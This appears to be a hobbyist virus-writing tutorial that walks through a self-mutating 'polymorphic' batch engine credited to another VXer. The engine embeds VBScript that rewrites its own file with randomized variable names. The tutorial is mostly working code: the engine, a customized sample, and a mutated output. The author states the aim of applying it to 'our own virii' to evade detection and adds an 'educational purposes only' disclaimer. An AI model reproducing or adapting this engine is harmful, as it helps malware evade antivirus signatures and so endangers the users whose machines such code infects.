  I have searched high and low for a working Polymorphic batch virii and/or self-polymorphic
  batch engine, but with no success. So the truth hit me, if i want to create a proper
  polymorphic batch i will have to turn to the younger brethern of batch - Visual Basic Script.
  Many poly engines have been coded using VBS so off i went and found an excellent working
  Batch Polymorphic Script by a VXer named Jackie. I would like to thank her for giving me the
  foundation of a near perfect polymorphic batch script, so lets get started...


 1)The Un-edited Batch-jap-poly engine by Jackie:
   ---------------------------------------------

  What it does is take the variables she listed in the vbs script (line 25-jav) and then replace them with
  other random letters, and because the VBS is contained in the batch itself it then also polymorphs, the
  actual polymorphic engine. This is the closest i've seen to actual polymorphism in a batch virii!
  If you take the code and paste it to notepad, save its as 'something.bat' then run it and see
  the original bat and the polymorphed one, they do vary greatly. You can run it as much as you want, it will just
  keep on changing. Dont cut the set lines, as it will then execute its actual virii code and polymorph, we just want keep changing.
  it to polymorph. Although when using it on our own virii we need to have set commands as it will polymorph them

 set blah = echo

 set fuck = A
 set hhh = B

  Now that we have seen the actual virii its time to modify the poly engine
  here is the actual working poly engine by itself:
 -----------------------------------------------[Cut Here]---------------------------------------------
 echo randomize>>jjj.vbs
 echo set fsobject=createobject("scripting.filesystemobject")>>jjj.vbs
 echo set scriptfile=fsobject.opentextfile(%0,1)>>jjj.vbs
 echo jc=scriptfile.readall>>jjj.vbs
 echo jav="blah shit fuck hhh yyy jap jc jav jsp jv jlo jnv fsobject scriptfile jjj":jsp=split(jav," ")>>jjj.vbs
 echo for each jv in jsp>>jjj.vbs
 echo for jlo=1 to int(rnd*6)+2>>jjj.vbs
 echo jnv=jnv+chr((int(rnd*22)+97))+chr(int(rnd*22)+97)>>jjj.vbs
 echo next>>jjj.vbs
 echo jc=replace(jc,jv,jnv):jnv="">>jjj.vbs
 echo next>>jjj.vbs
 echo set scriptfile=fsobject.opentextfile(%0,2,1)>>jjj.vbs
 echo scriptfile.writeline jc>>jjj.vbs
 echo scriptfile.close>>jjj.vbs
 start jjj.vbs
 -----------------------------------------------[Cut Here]---------------------------------------------

  In order to modify the engine for our own evil purpose :) we refer to line 5 (echo jav="blah shit fuck..)
  we only change blah, shit, fuck, hhh and yyy we change them according to what our set commands are
  see below for more clarification a it can be confusing for noobs:
 -----------------------------------------------[Cut Here]----------------------------------------------
 set ax=echo
 set bv=pause
 set cxv=mkdir
 set dcv="%UserProfile%\Desktop\%random%"
 cls

 @%ax% off
 %cxv% %dcv%
 %ax% hello i made a directory on your desktop
 %bv%

 echo randomize>>jjj.vbs
 echo set fsobject=createobject("scripting.filesystemobject")>>jjj.vbs
 echo set scriptfile=fsobject.opentextfile(%0,1)>>jjj.vbs
 echo jc=scriptfile.readall>>jjj.vbs
 echo jav="ax bv cxv dcv jap jc jav jsp jv jlo jnv fsobject scriptfile jjj":jsp=split(jav," ")>>jjj.vbs
 echo for each jv in jsp>>jjj.vbs
 echo for jlo=1 to int(rnd*6)+2>>jjj.vbs
 echo jnv=jnv+chr((int(rnd*22)+97))+chr(int(rnd*22)+97)>>jjj.vbs
 echo next>>jjj.vbs
 echo jc=replace(jc,jv,jnv):jnv="">>jjj.vbs
 echo next>>jjj.vbs
 echo set scriptfile=fsobject.opentextfile(%0,2,1)>>jjj.vbs
 echo scriptfile.writeline jc>>jjj.vbs
 echo scriptfile.close>>jjj.vbs
 start jjj.vbs
 -----------------------------------------------[Cut Here]---------------------------------------------
  As you can see my set commands are ax, bv, cxv and dcv so then i changed the lines (echo jav="blah shit fuck..)
  to (echo jav="ax bv cxv dcv). An important note to remember is that using a single variable for set commands
  is not good especially with this poly engine because when i set a=echo it changed all the 'a's in the file,
  so rather set it to random letters as to avoid confusion with other letters or words.

  After running the above script once this is what the new generated polymorphed batch looks like very
  different from its first variation:
 -----------------------------------------------[Cut Here]---------------------------------------------
 set qnbgqaseqb=echo
 set pspnvlekmpeg=pause
 set gteijrmkakkgem=mkdir
 set cefnmprimvem="%UserProfile%\Desktop\%random%"
 cls

 @%qnbgqaseqb% off
 %gteijrmkakkgem% %cefnmprimvem%
 %qnbgqaseqb% hello i made a directory on your desktop
 %pspnvlekmpeg%

 echo randomize>>ottd.vbs
 echo set pvrpic=createobject("scripting.filesystemobject")>>ottd.vbs
 echo set shrsqgotpheq=pvrpic.opentextfile(%0,1)>>ottd.vbs
 echo ccrqdnshkmldqs=shrsqgotpheq.readall>>ottd.vbs
 echo vpbaaptfhpip="qnbgqaseqb pspnvlekmpeg gteijrmkakkgem cefnmprimvem qltj ccrqdnshkmldqs vpbaaptfhpip dtsfjcfd dajihtur ftabvconki tlcdukcj pvrpic shrsqgotpheq ottd":dtsfjcfd=split(vpbaaptfhpip," ")>>ottd.vbs
 echo for each dajihtur in dtsfjcfd>>ottd.vbs
 echo for ftabvconki=1 to int(rnd*6)+2>>ottd.vbs
 echo tlcdukcj=tlcdukcj+chr((int(rnd*22)+97))+chr(int(rnd*22)+97)>>ottd.vbs
 echo next>>ottd.vbs
 echo ccrqdnshkmldqs=replace(ccrqdnshkmldqs,dajihtur,tlcdukcj):tlcdukcj="">>ottd.vbs
 echo next>>ottd.vbs
 echo set shrsqgotpheq=pvrpic.opentextfile(%0,2,1)>>ottd.vbs
 echo shrsqgotpheq.writeline ccrqdnshkmldqs>>ottd.vbs
 echo shrsqgotpheq.close>>ottd.vbs
 start ottd.vbs

  Thats it for now, i hope it helps and if you use this poly engine please remember to give some credit to Jackie
  as she did make it. If there is any problems with my code or you have a question just e-mail me and i'll gladly help.
  Remember this is for educational purposes only! and should not be used in an uncontrolled enviroment or be used
  to do harm. :)
